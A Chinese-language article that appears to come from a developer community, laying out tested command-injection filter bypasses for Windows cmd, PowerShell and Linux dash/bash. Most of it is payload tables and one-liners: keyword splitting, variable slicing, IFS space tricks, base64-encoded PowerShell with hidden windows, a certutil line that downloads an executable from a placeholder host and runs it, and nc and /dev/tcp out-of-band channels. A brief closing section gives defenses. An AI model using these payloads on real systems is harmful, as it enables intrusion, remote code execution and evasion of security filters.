两个正确写法,去掉空格,或者用引号把整个赋值包起来:
set cmd1=who& set cmd2=ami& call %cmd1%%cmd2%set "cmd1=who" & set "cmd2=ami" & call %cmd1%%cmd2%两条都实测通过。注意 call 不能省——%cmd1% 在整行解析阶段就已经展开,那时变量还不存在,call 会触发第二次解析,才拿得到值。
带参数的命令同样成立,这也是绕过 net user 里空格的最实用写法:
set "a=s""er" & set "b=t u" & set "c=n^e" & call %c%%b%%a%实测输出就是 net user 的完整用户列表。
延迟展开是另一条路,适合整个 payload 塞进一个 cmd /V:ON /c 里:
cmd /V:ON /c "set a=who& set b=ami& call !a!!b!"cmd /V:ON /c "set a=who& set b=ami& !a!!b!"两条都通。但要注意 !var! 的展开不再做转义处理,下面这条就露出了原形:
set "a=s""er" & set "b=t u" & set "c=n^e" & cmd /V:ON /c "echo !c!!b!!a!"
# n^et us""er^ 和 "" 原样留着。也就是说延迟展开只负责替换变量,不负责还原转义,混用时得自己把转义写对。
%var:~start,len% 可以按位置取子串,起点为负数表示从右边数。
set "cmd=whoami" & echo %cmd:~0,1%
# w
set "cmd=whoami" & echo %cmd:~0,4%
# whoa
set "cmd=whoami" & echo %cmd:~-4,4%
# oami
set "cmd=whoami" & echo %cmd:~-6,4%
# whoa单看没什么用,但配合 call 就能拼出完整命令,全程没有一个完整的命令名:
set "c=whoami" & call %c:~0,2%%c:~2,4%
# 正常执行 whoami同一个变量被切成两段再拼回去,过滤器看到的是 %c:~0,2%,看不到 whoami。
切片必须在变量已经定义之后才展开,同一行里直写会拿到字面量:
set "c=whoami" & echo %c:~0,1%
# %c:~0,1%输出就是这八个字符本身,因为整行在变量赋值之前就解析完了。要么用 call,要么放进 cmd /V:ON /c 里用 !c:~0,1!。
环境变量本身也是现成的命令来源:
%COMSPEC:~-7% /c whoami%COMSPEC% 是 C:\Windows\system32\cmd.exe,取后 7 位正好是 cmd.exe,实测正常执行。
Windows 没有 ${IFS},替代手段少一些,但够用。
制表符,cmd 把它当空格处理:
whoami /all注意这里是真制表符,不是 \t 两个字符。实测输出与 whoami /all 完全一致,用户信息、SID、组信息全在。
逗号,只对 cmd 内置命令有效:
dir,C:\ # 正常列出 C 盘
type,C:\Windows\win.ini # 正常输出但对外部程序无效:
whoami,/all
# 错误: 无效参数/选项 - ',/all'。原因很简单:dir、type 由 cmd 自己解析,逗号在它的分词规则里算分隔符;whoami 是独立进程,cmd 只做参数透传,逗号原样带过去。
管道接 more,也能绕过空格做一次性执行:
whoami|moreWindows 的命令行通配符不会自动展开,这一点和 Linux 正相反:
C:\Wind*\System32\whoami.exe
# 系统找不到指定的路径。要用环境变量代替:
%SystemRoot%\System32\whoami.exe或者直接用绝对路径,大小写无所谓:
C:\Windows\System32\WHOAMI.EXE%comspec% 也能拿来起新进程:
%comspec% /c whoami但加括号会破坏语法,这条失败:
(%comspec%) /c whoami
# 此时不应有 /c。cmd 只能干粗活,精细操作交给 PowerShell,一行就能起:
powershell -NoProfile -c whoami
powershell -NoProfile -w hidden -c "whoami"-w hidden 隐藏窗口,适合落地执行。
编码执行是绕关键字检查的经典手法,-enc 接受 Base64 编码的 UTF-16LE 命令:
powershell -NoProfile -enc dwBoAG8AYQBtAGkAdwBoAG8AYQBtAGkA 解码后就是 whoami。参数名大小写随意,-eC 一样有效——cmd 的参数名不区分大小写这个特性在这里又帮了一次忙。
certutil 是系统自带的下载器,不需要额外工具:
certutil -urlcache -split -f http://127.0.0.1:8899/certutil-probe实测能正常发起 HTTP 请求(本机因系统代理拦截返回 0x80072efd,去掉代理后即可回连)。如果你的机器开了全局代理,测带外通道前先关掉,否则会误判成「不出网」。
下载到本地后直接执行:
certutil -urlcache -split -f http://<your-host>/x.exe %temp%\x.exe && %temp%\x.exe和 Linux 一样,遇到长度限制就分两步。echo 重定向写批处理,再 call 起来:
echo whoami>%temp%\a.bat&call %temp%\a.batset /p 写法更干净,不会在文件里带上 echo 的尾随空格:
set /p =whoami<nul>%temp%\b.bat&call %temp%\b.bat两条实测都返回正常结果。要注意 call 跑 bat 时会先把命令行本身回显一遍,看到 >whoami 那行不是报错,是正常行为,加 @echo off 或者忽略即可。
同一批 payload 分别在 /bin/sh 和 /bin/bash 下跑,四台 Linux 各跑一遍,结论完全重合。下面这张表就是「换发行版要不要换字典」的答案:
/bin/sh 是 dash,按左列取值/bin/sh 就是 bash,直接按右列取值,左列的坑一个都不用管结果不一样的只有这几条,但它们恰好是最常被引用的几条:
payload | dash(Ubuntu / Debian) | bash(TencentOS / CentOS / 显式调 bash) |
|---|---|---|
{cat,/etc/hostname} | not found | 正常 |
cat${IFS:0:1}/etc/hostname | Bad substitution | 正常 |
$(printf '\x77...') | not found | 正常 |
$'\x77...' | not found | 正常 |
a=whoami;${a:0:4}${a:4:2} | Bad substitution | 正常 |
cat /x > /dev/tcp/... | Directory nonexistent | 正常 |
eval$(base64${IFS}-d<<<...) | Syntax error: redirection unexpected | 认得 <<<,但会粘成 evalcat 报错 |
只影响输出顺序、不影响可用性的:
payload | dash | bash |
|---|---|---|
id&whoami | 先 root 后 id | 先 id 后 root |
其余全部一致:;、&&、\|\|、\|、&、换行、${IFS}、$IFS$9、< 重定向、空引号、反斜杠、$1/$*/$@、${x}、变量拼接、$(...)、反引号、通配符、base64、xxd、printf 八进制、rev。
所以给 Ubuntu/Debian 写 payload 时,先把上面那七条从你的字典里划掉,能省下大量试错。
Linux(dash 环境:Ubuntu / Debian)
目的 | 首选 | 备选 |
|---|---|---|
分多条命令 | ; | %0a、&&、\| |
替代空格 | ${IFS} | <、制表符、$IFS$9 |
断开关键字 | who""ami | who\ami、who$1ami、wh${x}oami |
不带路径 | /usr/bin/????mi | /u?r/b?n/????mi |
藏命令名 | $(echo whoami) | base64 管道、printf 八进制 |
无回显 | nc、curl | /dev/tcp(需套 bash -c)、sleep 延时 |
长度受限 | echo <b64>\|base64 -d>a;sh a | >a echo whoami;sh a |
Linux(bash 环境:TencentOS / CentOS 7.6)
目的 | 首选 | 备选 |
|---|---|---|
分多条命令 | ;、\|& | %0a、&& |
替代空格 | ${IFS} | {cat,file}、${IFS:0:1}、< |
断开关键字 | x=WHOAMI;${x,,} | ${x/X/a}、${x:0:4}${x:4:2}、${!x} |
不带路径也不带斜杠 | ${PATH:0:1}bin${PATH:0:1}????mi | $'\x63\x61\x74'${IFS}... |
藏命令名 | echo whoami;$_ | set -- whoami;$1、awk 'BEGIN{system(...)}' |
无回显 | /dev/tcp | exec 3<>/dev/tcp、curl、wget |
长度受限 | echo <b64>\|base64 -d>a;sh a | >a echo whoami;sh a |
CentOS 7.6 上再砍掉四个:declare -n、${x@Q}、${x@E}、${x@U},其余照用。
四套系统的差别主要不在语法,在默认装了哪些程序,按目标补一行就行:
场景 | Ubuntu | Debian | TencentOS | CentOS 7.6 |
|---|---|---|---|---|
十六进制还原 | xxd -r -p | perl -pe 's/../chr(hex($&))/ge' | xxd -r -p | xxd -r -p |
下载或带外 | wget / curl | 仅 curl | wget / curl | wget / curl / perl |
反弹通道 | nc | nc / socat | 无,用 /dev/tcp | 无,用 /dev/tcp |
单文件工具箱 | busybox | 无 | 无 | 无 |
脚本解释器 | perl、python3 | perl、python3 | python3、gawk(无 perl) | perl、python2、python3 |
Windows
目的 | 首选 | 备选 |
|---|---|---|
分多条命令 | & | &&、\|(不能用 ;) |
替代空格 | 制表符 | ,(仅内置命令)、\|more |
断开关键字 | wh""oami | whoa^mi、who^a^m^i |
包裹命令 | (whoami) | 任意层 () |
变量拼接 | set "c=whoami" & call %c:~0,2%%c:~2,4% | cmd /V:ON /c "!a!!b!" |
藏命令名 | 变量切片 | powershell -enc |
定位程序 | %SystemRoot%\System32\whoami.exe | %COMSPEC:~-7% |
看完上面这些,反过来看过滤器为什么总是失守,结论很清楚:黑名单永远在追语法,而语法是开放的。
真正有效的做法只有两条。
第一条,不要拼接命令字符串。PHP 用 proc_open() 传数组参数、Python 用 subprocess.run([...], shell=False)、Java 用 ProcessBuilder 的独立参数列表,从根上把 shell 解析器摘掉,上面九成的 payload 立刻失效。
第二条,如果业务上非拼不可,就白名单化。只允许 [a-z0-9._-] 这类字符集,而不是「禁止空格、禁止分号」。前者是闭合的,后者永远有漏。
至于 WAF 侧,能做的只是抬高成本:把 $IFS、${、\x、%0a、引号穿插这类模式一起纳入规则,对同一参数做递归解码后再匹配。但这注定是被动的,别把它当主要防线。
绕过这件事,本质是对解析器的理解深度。你比过滤器更清楚 shell 在哪一层做词法分析、在哪一层做展开,就能找到它看不见的那一层。上面每一条都是这么来的——不是背下来的,是试出来的。
换一台机器,按这个顺序走,一分钟就能定下调子:
ls -l /bin/sh # 定解析器:dash 还是 bash
sh -c 'echo $BASH_VERSION' # 定版本:4.2 还是 5.2
for t in nc socat perl xxd curl wget; do command -v $t >/dev/null || echo "缺 $t"; done第一步决定语法,第二步决定能用哪些展开,第三步决定编码和带外怎么走。三步走完,字典基本就定死了。
四台机器抄同一份 payload 的时代早就过去了——同样一个 whoami,在 Ubuntu 上要写成 wh""oami,在 TencentOS 上却可以写成 x=WHOAMI;${x,,}。写得出来写不出来,差别就在这三条命令上。
原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。
如有侵权,请联系 cloudcommunity@tencent.com 删除。